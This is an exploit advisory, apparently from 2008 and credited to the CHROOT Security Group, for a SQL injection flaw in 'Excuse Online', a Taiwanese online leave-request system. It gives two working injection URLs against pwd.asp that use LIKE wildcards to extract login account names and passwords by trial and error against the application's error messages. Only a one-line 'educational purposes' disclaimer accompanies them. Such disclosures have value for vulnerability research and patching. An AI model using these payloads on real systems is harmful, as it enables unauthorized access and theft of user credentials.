/ | || | _ \| _ | _ | |
| (| _ | [)/| () | () | | |
\_____|| ||| ||||| ||
C. H. R. O. O. T. SECURITY GROUP
- – ----- — – – ---- — – -
http://www.chroot.org
_ _ _ _____ ____ ____ __ _
Hacks In Taiwan | || | | | | | \| |
Conference 2008 | _ | | | | | (| () | |
|| ||| || \|||\__|
http://www.hitcon.org
Title :: Excuse Online (pwd) SQL Injection Vulnerability
Author :: unohope [at] chroot [dot] org
IRC :: irc.chroot.org #chroot
ScriptName :: 線上請假系統
Download :: http://netlab.kh.edu.tw/download/excuse.rar
Mirror :: http://www.badongo.com/file/9514356
[SQL Injection]
http://localhost/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+登入碼+like+'%25 //
for login account
http://localhost/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+密碼+like+'%25 // for
login password
If matched then return "Input Error in Account",
else return "Can Not Find The Account",
try error till you got it!
[NOTE]
!! This is just for educational purposes, DO NOT use for illegal. !!